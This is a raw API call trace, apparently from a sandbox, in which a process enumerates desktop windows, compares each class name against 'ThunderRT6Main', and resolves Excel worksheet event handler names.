	[0081.806] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0081.806] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0081.806] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0081.806] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0081.806] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0081.806] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0081.806] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0081.806] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0081.806] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0081.806] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0081.806] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0081.806] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0081.806] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0081.806] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0081.806] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0081.806] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0081.806] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0081.806] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0081.806] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0081.806] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0081.806] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0081.806] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0081.807] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0081.807] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0081.807] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0081.807] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0081.807] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0081.807] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0081.807] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0081.807] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0081.807] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0081.807] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0081.807] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0081.807] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0081.807] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0081.807] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0081.807] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0081.807] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0081.807] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0081.807] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0081.807] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0081.807] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0081.807] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.807] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.808] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0081.808] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0081.808] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0081.808] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0081.808] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0081.808] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0081.808] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.808] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.808] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0081.808] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0081.808] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0081.808] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0081.808] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0081.808] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0081.808] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.808] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.808] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0081.808] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0081.808] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0081.808] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0081.808] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.808] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0081.809] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0081.809] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0081.809] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.809] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0081.809] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0081.809] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0081.809] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0081.809] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0081.809] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0081.809] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0081.809] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.809] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0081.809] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0081.809] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0081.809] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0081.809] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0081.809] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.809] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0081.809] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0081.809] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0081.809] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0081.809] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.809] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0081.809] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.810] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0081.810] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0081.810] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.810] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0081.810] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.810] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0081.810] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.810] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.810] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0081.810] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.810] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.810] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0081.810] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0081.810] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.810] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0081.810] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0081.810] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.810] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0081.810] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.810] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.810] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0081.810] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.810] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.810] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0081.810] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.810] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.810] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0081.810] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0081.810] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0081.810] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.811] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0081.811] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0081.811] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0081.811] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0081.811] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0081.811] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0081.811] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0081.811] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0081.811] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0081.811] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0081.811] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0081.811] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0081.811] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0081.811] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0081.811] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0081.811] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0081.811] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.811] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0081.811] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0081.811] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.811] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.811] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0081.811] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.811] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0081.811] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0081.811] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0081.811] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0081.811] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.811] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0081.812] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.812] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.812] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0081.812] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.812] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.812] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.917] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x680000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x680000035b) returned 0x0
	[0084.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0084.917] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0084.917] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0084.918] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0084.919] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0084.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0084.919] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0084.919] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0084.919] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0084.928] GetCurrentThreadId () returned 0x8e8
	[0084.928] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0084.928] GetDesktopWindow () returned 0x10010
	[0084.928] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0084.928] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0084.928] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0084.928] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0084.928] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0084.928] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.928] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.928] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0084.928] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0084.928] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0084.929] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0084.929] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0084.929] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.929] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0084.929] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.929] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0084.929] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.929] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0084.929] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.929] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0084.929] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.929] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0084.929] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0084.929] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0084.929] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.929] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
